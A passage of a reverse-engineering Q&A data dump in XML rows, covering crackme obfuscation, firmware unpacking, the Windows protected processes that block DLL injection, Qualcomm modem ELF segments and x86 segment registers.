session.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can set the &quot;Ignore CRC of code section&quot; option to bypass this check.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you have the case 3.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-11T16:44:24.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16322" PostTypeId="1" AcceptedAnswerId="16323" CreationDate="2017-09-11T18:18:54.797" Score="3" ViewCount="186" Body="&lt;p&gt;I am currently analysing some crackme with Olly and IDA. Initially it was packed. I managed to find the OEP (a JMP soon after POPAD and right before a bunch of nulls):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0040E978    .  53                    PUSH    EBX&#xA;0040E979    .  57                    PUSH    EDI&#xA;0040E97A    .  FFD5                  CALL    NEAR EBP&#xA;0040E97C    .  58                    POP     EAX&#xA;0040E97D    .  61                    POPAD&#xA;0040E97E    .  8D4424 80             LEA     EAX, DWORD PTR SS:[ESP-80]&#xA;0040E982    &amp;gt;  6A 00                 PUSH    0&#xA;0040E984    .  39C4                  CMP     ESP, EAX&#xA;0040E986    .^ 75 FA                 JNZ     SHORT crackme_.0040E982&#xA;0040E988    .  83EC 80               SUB     ESP, -80&#xA;0040E98B    .- E9 7062FFFF           JMP     crackme_.00404C00&#xA;0040E990       00                    DB      00&#xA;0040E991       00                    DB      00&#xA;0040E992       00                    DB      00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I might have done something incorrectly or, may be, it's some sort of obfuscation technique, cause the unpacked program is full of something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                lea     ecx, ds:2186C225h ; Load Effective Address&#xA;UPX0:00403042   mov     ebx, 0C11A8EBBh&#xA;UPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address&#xA;UPX0:0040304D   add     ecx, ecx        ; Add&#xA;UPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address&#xA;UPX0:00403055   sub     ecx, eax        ; Integer Subtraction&#xA;UPX0:00403057   lea     eax, [ebp-6Ch]  ; Load Effective Address&#xA;UPX0:0040305A   push    eax&#xA;UPX0:0040305B   call    $+5             ; Call Procedure&#xA;UPX0:0040305B   &#xA;UPX0:00403060   pop     eax&#xA;UPX0:00403061   add     eax, 0Ah        ; Add&#xA;UPX0:00403064   push    eax&#xA;UPX0:00403065   jmp     loc_408EF0      ; Jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What confuses me most (other than UPX prefix, although it seems to be unpacked), are instructions like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address   &#xA;UPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Moreover, throughout the code there are lots of call-jumps, that point to the next instruction, rather than somewhere else in the code (which is much more common): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0040327B     50                      PUSH    EAX&#xA;0040327C     E8 00000000             CALL    crackme2.00403281&#xA;00403281     58                      POP     EAX&#xA;...&#xA;0040321A     50                      PUSH    EAX&#xA;0040321B     8B45 08                 MOV     EAX, DWORD PTR SS:[EBP+8]&#xA;0040321E     50                      PUSH    EAX&#xA;0040321F     E8 00000000             CALL    crackme2.00403224&#xA;00403224     58                      POP     EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How common is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought, that may be I did the unpacking wrongly, but the program seems to work properly. My next though was that it might be self-modifying, but when I put BP on GetWindowTextA, where first, last names and serial are loaded, and then go through the code, it doesn't seem to be changing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, that there are addresses like this?: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, ds:2186C225h ; Load Effective Address&#xA;...&#xA;lea     ebx, [eax-68FB1E76h] ; Load Effective Address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or may be there is something wrong with the OllyDbg's interpretation of the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="21328" LastActivityDate="2017-09-11T23:44:47.123" Title="Weird looking assembly-code bunch" Tags="|ida|disassembly|assembly|ollydbg|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16323" PostTypeId="2" ParentId="16322" CreationDate="2017-09-11T23:44:47.123" Score="3" Body="&lt;p&gt;If you follow the flow, you will see that the result of the first &quot;lea ebx, []&quot; is replaced by the result of the &quot;lea ebx, []&quot;, with no intervening use of ebx.  While they can serve a meaningful purpose (consider position-independent code), that's not their use here.  These are garbage instructions that exist only to confuse someone looking at the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the call to the next instruction, the call saves on the stack the pointer to the return address, so popping that value into a register will allow the code to know its location in memory.  That can be for the purpose of position-independent code, or just a way to avoid using constants to make the disassembly more difficult.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-09-11T23:44:47.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16325" PostTypeId="1" CreationDate="2017-09-12T08:42:21.973" Score="2" ViewCount="3883" Body="&lt;p&gt;I want to unpack the fortigate firmware - &lt;code&gt;FGT_110C-v400-build0092-FORTINET.out&lt;/code&gt;. &lt;code&gt;binwalk&lt;/code&gt; only gives a hint about &lt;code&gt;gzip&lt;/code&gt; compressed data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Documents# binwalk -i FGT_110C-v400-build0092-FORTINET.out &#xA;&#xA;DECIMAL     HEXADECIMAL    DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;  0            0x0         gzip compressed data, has original file name: &#xA;                           &quot;FG110C-4.00-FW-build092-090220-patch00&quot;, from Unix,&#xA;                           last modified: Fri Feb 20 18:00:29 2009&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These is no other output. How can I unpack the firmware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded the firmware &lt;a href=&quot;http://www52.zippyshare.com/v/7RyFqBJy/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21585" LastEditorUserId="53" LastEditDate="2018-07-23T12:37:36.787" LastActivityDate="2022-05-15T10:35:45.903" Title="How to unpack the Fortigate firmware?" Tags="|firmware|binwalk|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="16329" PostTypeId="2" ParentId="16319" CreationDate="2017-09-12T14:52:35.020" Score="7" Body="&lt;p&gt;TLDR: No, no and no.&lt;/p&gt;&#xA;&lt;p&gt;You have several questions hiding there in your post:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is is possible to inject a DLL into each and every process?&lt;/li&gt;&#xA;&lt;li&gt;If it is possible, can the following methods do that:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;SetWindowsHookEx&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AppInit_Dlls&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The answer to the first question is &amp;quot;no&amp;quot;.&lt;br /&gt;&#xA;The answer to both parts of the second question is &amp;quot;no, even if the answer to the first question had been yes&amp;quot;.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;code&gt;SetWindowsHookEx&lt;/code&gt; and &lt;code&gt;AppInit_Dlls&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Let's start from the second question. Both methods only apply to processes that load &lt;code&gt;user32.dll&lt;/code&gt;. So that's already not &amp;quot;every process&amp;quot; which is what you asked.&lt;/p&gt;&#xA;&lt;p&gt;On top of that is everything I mentioned in the comments to NirIzr's answer:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/dn280412(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Starting with Windows 8 &lt;code&gt;AppInit_Dlls&lt;/code&gt; are disabled&lt;/a&gt; by default on machines with Secure Boot enabled (i.e. all real-world machines).&lt;/li&gt;&#xA;&lt;li&gt;A process can opt-out from both methods by setting the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ProcessExtensionPointDisablePolicy&lt;/code&gt;&lt;/a&gt; mitigation policy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Process that have &lt;code&gt;ProcessExtensionPointDisablePolicy&lt;/code&gt; set include most Chrome processes (renderer, gpu, ppapi) and a few system processes (like &lt;code&gt;RuntimeBroker.exe&lt;/code&gt;), for example.&lt;/p&gt;&#xA;&lt;p&gt;I don't think that this is merely a caveat. The question is can you inject into all processes, and the answer is no.&lt;/p&gt;&#xA;&lt;h2&gt;DLL injection and loading in general&lt;/h2&gt;&#xA;&lt;p&gt;But there are other ways to do DLL injection. What about them?&lt;br /&gt;&#xA;This brings us back to the first question.&lt;/p&gt;&#xA;&lt;p&gt;Since Windows Vista, some processes are &amp;quot;protected processes&amp;quot; for DRM reasons. See:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.microsoftpressstore.com/articles/article.aspx?p=2233328&amp;amp;seqNum=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protected Processes&lt;/a&gt; (from Windows Internals 5th edition)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://technet.microsoft.com/en-us/library/46ed60f1-e02c-48db-9eba-eddbd106d54f&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inside the Windows Vista Kernel: Part 3&lt;/a&gt; (scroll to &amp;quot;Protected Processes&amp;quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To load into these process you must be signed with a special certificate, which you probably don't have.&lt;/p&gt;&#xA;&lt;p&gt;Since then Microsoft has expanded the protected process infrastructure more and more to include more processes and to allow third-party processes to be protected. See &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/dn313124(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protecting Anti-Malware Services&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are different levels of protection, but to load into some of these processes you also have to be signed with a special certificate that you also don't have, and to load into the rest of them you need a certificate that you can't have (since Microsoft doesn't supply it to any third party).&lt;/p&gt;&#xA;&lt;p&gt;Processes protected in that way are &lt;code&gt;smss.exe&lt;/code&gt;, &lt;code&gt;csrss.exe&lt;/code&gt;, &lt;code&gt;services.exe&lt;/code&gt;, some instances of &lt;code&gt;svchost.exe&lt;/code&gt; as well the processes for any AV that respects itself. You can't inject into those either, &lt;em&gt;regardless of method&lt;/em&gt; (&lt;code&gt;SetWindowsHookEx&lt;/code&gt;, &lt;code&gt;AppInit_Dlls&lt;/code&gt;, or something more robust that doesn't depend on &lt;code&gt;user32.dll&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Additionally, another mitigation policy, &lt;code&gt;ProcessSignaturePolicy&lt;/code&gt;, available starting with Windows 10 can prevent loading of DLLs not signed by Microsoft, WHQL or the Windows Store. And unlike being a protected process which requires a certificate from Microsoft, any process can opt-in to &lt;code&gt;ProcessSignaturePolicy&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Process that have this mitigation enabled include &lt;code&gt;WinStore.App.exe&lt;/code&gt; (the Windows Store app itself, obviously), &lt;code&gt;MicrosoftEdgeCP.exe&lt;/code&gt; (Store only), &lt;code&gt;csrss.exe&lt;/code&gt; (Microsoft only), &lt;code&gt;wininit.exe&lt;/code&gt; (Microsoft only) and &lt;code&gt;services.exe&lt;/code&gt; (Microsoft only).&lt;/p&gt;&#xA;&lt;p&gt;In summary: You can't &lt;em&gt;load&lt;/em&gt; arbitrary DLLs into many processes, including by calling &lt;code&gt;LoadLibrary&lt;/code&gt; from the program's own legitimate code. You can't inject DLLs into these processes, regardless of the method you use.&lt;/p&gt;&#xA;&lt;p&gt;If you find a way to do this it would be a major subversion of the Windows 10 security mechanisms and such novelty is more likely to be presented in a professional conference rather than on the SE network.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;More links on Windows 8.1 Protected Processes, from Alex Ionescu's blog:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.alex-ionescu.com/?p=97&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Evolution of Protected Processes Part 1: Pass-the-Hash Mitigations in Windows 8.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.alex-ionescu.com/?p=116&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Evolution of Protected Processes Part 2: Exploit/Jailbreak Mitigations, Unkillable Processes and Protected Services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.alex-ionescu.com/?p=146&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protected Processes Part 3 : Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs &amp;amp; Runtime Signers)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3939" LastEditorUserId="8546" LastEditDate="2022-04-08T17:56:13.667" LastActivityDate="2022-04-08T17:56:13.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16330" PostTypeId="1" AcceptedAnswerId="16333" CreationDate="2017-09-12T17:28:06.433" Score="2" ViewCount="2842" Body="&lt;p&gt;Im trying to disassemble a qualcomm QDSP6 modem file. According to the ELF header, there should be 26 sections(modem.b00-b25). However after dumping the device, b.16,b.17,b.25 are missing, making the file impossible to open with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device is an Alcatel 4060-A. I have full access to the phone's emmc via usb download mode, also tried dumping the same modem partition via ADB. Same result, the partition is missing those 3 sections. Even reading the raw unpacked file in a hex editor, there is no mention of those 3 elf sections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="17731" LastEditorUserId="60" LastEditDate="2017-09-13T08:52:55.997" LastActivityDate="2023-11-23T15:33:28.720" Title="Need help disassembling Qualcomm QDSP6" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16332" PostTypeId="1" CreationDate="2017-09-13T00:24:12.807" Score="0" ViewCount="179" Body="&lt;p&gt;I recently got a hold of some free hardware from a company called Telylabs who had recently gone out of business. I got a Tely 200 which is an IP camera that's used for online conferences and presentations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it appears that the camera needs to phone home to Tely's servers in order to be operated but the servers were shut down along with Telylabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like such a waste of good hardware so I was hoping someone here might be able to help me unlock it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="21598" LastActivityDate="2018-07-25T09:01:21.423" Title="Reverse Engineering A Tely 200 Camera" Tags="|hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16333" PostTypeId="2" ParentId="16330" CreationDate="2017-09-13T07:05:04.420" Score="7" Body="&lt;p&gt;You should check the program headers with &lt;code&gt;readelf -a modem.b00&lt;/code&gt;.&#xA;It will show you which sections have a &lt;code&gt;FileSiz&lt;/code&gt; of zero bytes. These are probably the ones missing.&lt;/p&gt;&#xA;&lt;p&gt;Then you can put together the original &lt;code&gt;ELF&lt;/code&gt; file by loading each &lt;code&gt;modem.bNN&lt;/code&gt; section at the right offset, as indicated by the &lt;code&gt;Offset&lt;/code&gt; field in the &lt;code&gt;readelf -a&lt;/code&gt; output.&lt;/p&gt;&#xA;&lt;p&gt;I don't know which rom you used, i downloaded the one from &lt;a href=&quot;https://forum.xda-developers.com/android/general/rom-alcatel-ideal-4060a-stock-android-5-t3637885&quot; rel=&quot;nofollow noreferrer&quot;&gt;xdadev&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;unzipped using &lt;code&gt;unzip&lt;/code&gt;. Then extracted the &lt;code&gt;modem.img&lt;/code&gt; file using &lt;code&gt;7z&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;7z -omodem x modem.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then in &lt;code&gt;modem/image&lt;/code&gt; there are the &lt;code&gt;modem.bNN&lt;/code&gt; files.&#xA;of those: b04, b17, b18 and b25  are missing.&#xA;When looking at &lt;code&gt;readelf -a modem.b00&lt;/code&gt;, I can see that those are exactly the ones with &lt;code&gt;FileSiz == 0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Type    Offset   VirtAddr PhysAddr FileSiz  MemSiz   Flg Align&#xA;NULL    00000000 00000000 00000000 00000374 00000000     00000000    -- b00 ELF header&#xA;NULL    00001000 8d500000 8d500000 00001c68 00002000     00001000    -- b01 hashes, signature, certs&#xA;INTERP  01c47280 c1cbe280 89cbe280 00000001 00000001 R   00000001    -- b02&#xA;LOAD    00003000 c0000000 88000000 00001540 00001540 R E 00001000    -- b03&#xA;LOAD    00005000 c0004000 88004000 00000000 00001000 RW  00001000    -- &#xA;LOAD    00005000 c0008000 88008000 0002c160 0002c160 RW  00001000    -- b05&#xA;LOAD    00032000 c0038000 88038000 0005e340 0005e340 RW  00001000    -- b06&#xA;LOAD    00091000 c00c0000 880c0000 00200000 00200000 R E 00001000    -- b07&#xA;LOAD    00291000 c02c0000 882c0000 00280000 00280000 R E 00001000    -- b08&#xA;LOAD    00511000 c0540000 88540000 00033a2c 00033a2c RWE 00001000    -- b09&#xA;LOAD    00545000 c0574000 88574000 000b0a2c 000b0a2c R E 00001000    -- b10&#xA;LOAD    005f6000 c0630000 88630000 000f78b4 000f78b4 R E 00001000    -- b11&#xA;LOAD    006ee000 c0728000 88728000 00df81d0 00df81d0 R E 00001000    -- b12&#xA;LOAD    014e7000 c1540000 89540000 00062fe0 00062fe0 RW  00001000    -- b13&#xA;LOAD    0154a000 c15c0000 895c0000 004fbb93 004fbb93 R   00001000    -- b14&#xA;LOAD    01a46000 c1abd000 89abd000 00208a83 00208a83 RW  00001000    -- b15&#xA;DYNAMIC 01c47284 c1cbe284 89cbe284 00000078 00000078 RW  00000004    -- b16&#xA;LOAD    01c4f000 c1cc6000 89cc6000 00000000 000ddc64 RW  00001000    -- &#xA;LOAD    01c50000 c1da4000 89da4000 00000000 010b9000 RW  00001000    -- &#xA;LOAD    01c4f000 c2e5d000 8ae5d000 00013e00 00013e00 RW  00001000    -- b19&#xA;LOAD    01c63000 c2e71000 8ae71000 00079648 00079648 R   00001000    -- b20 .. zlib&#xA;LOAD    01cdd000 c2eeb000 8aeeb000 00947000 00947000 R   00001000    -- b21 .. q6zip&#xA;LOAD    02625000 c3833000 8b833000 00013000 00013000 RW  00001000    -- b22 .. delta&#xA;LOAD    02639000 c3847000 8b847000 0008e000 0008e000 RWE 00001000    -- b23&#xA;LOAD    026c8000 c38d6000 8b8d6000 0006ecb4 0006ecb4 RW  00001000    -- b24&#xA;LOAD    02737000 c3945000 8b945000 00000000 01bbb000 RW  00001000    -- &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Other things to note:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modem.mdt == modem.b00 + modem.b01&lt;/li&gt;&#xA;&lt;li&gt;modem.b01 contains sha256 hashes of all other non empty sections. And a signature and certificates.&lt;/li&gt;&#xA;&lt;li&gt;modem.b20 can be decompressed using zlib.decompress&lt;/li&gt;&#xA;&lt;li&gt;modem.b21 and modem.b22 use compression methods designed by qualcomm. Named q6zip and deltacompress respectivly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I will soon post decompression tools for the delta and q6zip sections on my github account.&#xA;EDIT: Soon was 6 years later, now on &lt;a href=&quot;https://github.com/nlitsme/qualcomm-q6zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The qualcomm hexagon documentation can be found &lt;a href=&quot;https://developer.qualcomm.com/software/hexagon-dsp-sdk/tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, free registration required. The instruction set is described in &lt;a href=&quot;https://developer.qualcomm.com/download/hexagon/hexagon-v62-programmers-reference-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hexagon V62 Programmer's Reference Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;See also the &lt;a href=&quot;https://github.com/gsmk/hexagon/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;README.md&lt;/a&gt; from &lt;a href=&quot;https://github.com/gsmk/hexagon&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gsmk/hexagon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2023-11-23T15:33:28.720" LastActivityDate="2023-11-23T15:33:28.720" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16336" PostTypeId="1" AcceptedAnswerId="16338" CreationDate="2017-09-13T19:51:03.753" Score="8" ViewCount="5934" Body="&lt;p&gt;As far as I know those segments are &lt;code&gt;extra&lt;/code&gt; or &lt;code&gt;general&lt;/code&gt;. But at which part of program memory they are actually pointing? If I undestand it correctly &lt;code&gt;DS&lt;/code&gt; is poining at entry point of Dump, &lt;code&gt;SS&lt;/code&gt; stands for Stack, what is happening with those leftovers from Intel conception.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4n9sd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4n9sd.png&quot; alt=&quot;Registers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are my registers using &lt;code&gt;Ollydbg&lt;/code&gt;, how can I predict what will be moved into EAX?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR FS:[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21459" LastEditorUserId="2147" LastEditDate="2017-09-13T20:39:46.210" LastActivityDate="2023-02-27T14:24:00.377" Title="Where ES/GS/FS are pointing to?" Tags="|windows|assembly|ollydbg|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16338" PostTypeId="2" ParentId="16336" CreationDate="2017-09-13T20:15:26.347" Score="10" Body="&lt;p&gt;On x86 32bit windows the &lt;code&gt;FS&lt;/code&gt; segment register points to a structure called the &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thread Information Block&lt;/a&gt; or the TIB for short. This structure is created by the kernel on thread creation and is used to support OS related functionalities, services and APIs.&lt;/p&gt;&#xA;&lt;p&gt;Examples of data TIB usage are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Thread Local Storage.&lt;/li&gt;&#xA;&lt;li&gt;the Heap.&lt;/li&gt;&#xA;&lt;li&gt;the Stack.&lt;/li&gt;&#xA;&lt;li&gt;SEH exception chain.&lt;/li&gt;&#xA;&lt;li&gt;Access to the Process Environment Block (which serves a similar, process level goal).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And many other...&lt;/p&gt;&#xA;&lt;p&gt;To predict the actual value of a dereference into the &lt;code&gt;FS&lt;/code&gt; register, you'll need to consult a mapping of that (only partially documented) structure for the specific OS version you're working with. For example, the &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIB&lt;/a&gt; wikipedia page I mentioned earlier describes a 32bit windows TIB layout.&lt;/p&gt;&#xA;&lt;p&gt;On linux the &lt;code&gt;GS&lt;/code&gt; register is used for a similar purpose regardless of register size, and 64bit intel windows uses both the &lt;code&gt;FS&lt;/code&gt; and &lt;code&gt;GS&lt;/code&gt; registers.&lt;/p&gt;&#xA;&lt;p&gt;The information stored in the TIB should not be used directly by programs, how ever specific members of the structure often are used for unintended purposes such as detecting debuggers in more prevalent ways.&lt;/p&gt;&#xA;&lt;p&gt;As you can see, other segment registers are rarely used.&lt;/p&gt;&#xA;&lt;h1&gt;A bit of history&lt;/h1&gt;&#xA;&lt;p&gt;Although the segment registers are used for OS-related functionality, that was not the intended goal segment registers were made for. In the past, when CPU register sized varied between 8 and &lt;a href=&quot;https://en.wikipedia.org/wiki/16-bit&quot; rel=&quot;nofollow noreferrer&quot;&gt;16 bit&lt;/a&gt;, addressing was highly limited and only 64KB of address space was available. Since original CPUs were only running in Real Mode (and not &lt;a href=&quot;https://en.wikipedia.org/wiki/Protected_mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protected Mode&lt;/a&gt;), that address space had to be shared with all running services, processes, connected peripherals, etc...&lt;/p&gt;&#xA;&lt;p&gt;To bypass that limitation, the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_memory_segmentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Memory Segmentation&lt;/a&gt; was brought into use in two forms. One was Protected Mode VS Real Mode, and the other was the segment registers - which were used as an offset for the actual registers being used for addressing. This allowed a greatly increased addressing range and was considered a valid solution. In the days of 32bit protected mode processors, where 4GB of Virtual Addressable Space is available to each process, and certainly with 64 bit CPUs, the segment registers are rarely used for their original goal (except for highly low level components such as Real Mode boot loaders, which might still need the extra addressing).&lt;/p&gt;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;DS&lt;/code&gt; stands for &lt;em&gt;Data&lt;/em&gt; Selector.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2023-02-27T14:24:00.377" LastActivityDate="2023-02-27T14:24:00.377" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="16340" PostTypeId="1" CreationDate="2017-09-15T04:05:19.713" Score="3" ViewCount="6404" Body="&lt;p&gt;My question is simply can you reverse a 64 bit compiled code using a 64 bit disassembler (like IDA Pro 64 bit) or can you use a 32 bit code disassembler. I'm a little confused. &lt;/p&gt;&#xA;" OwnerUserId="21622" LastActivityDate="2017-12-26T11:17:29.287" Title="Do you need a 64 bit disassembler like IDA Pro to disassemble 64 bit code?" Tags="|disassemblers|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16341" PostTypeId="1" AcceptedAnswerId="16342" CreationDate="2017-09-15T04:06:37.010" Score="0" ViewCount="1222" Body="&lt;p&gt;I have the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP BYTE PTR DS:[EAX+1620], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I find the memory address of &lt;code&gt;EAX+1620&lt;/code&gt; so I can monitor it in ollydbg? I click it and nothing helpful comes up in the context box at the bottom of the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot here, unnecessary info obscured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E9trU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9trU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;Follow in Dump&lt;/code&gt; -&gt; Selection on this line will take me to address &lt;code&gt;00A9612A&lt;/code&gt;, but I need to find &lt;code&gt;EAX+1620&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21621" LastEditorUserId="1413" LastEditDate="2017-09-15T19:30:08.633" LastActivityDate="2017-09-15T19:30:08.633" Title="How do I find address of a global variable in Ollydbg?" Tags="|ollydbg|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16342" PostTypeId="2" ParentId="16341" CreationDate="2017-09-15T05:12:02.353" Score="0" Body="&lt;p&gt;if eax is valid address you can follow in dump from the information pane &#xA;(small pane between cpu window and dump window)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see screen shot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QMcLY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMcLY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-09-15T05:12:02.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
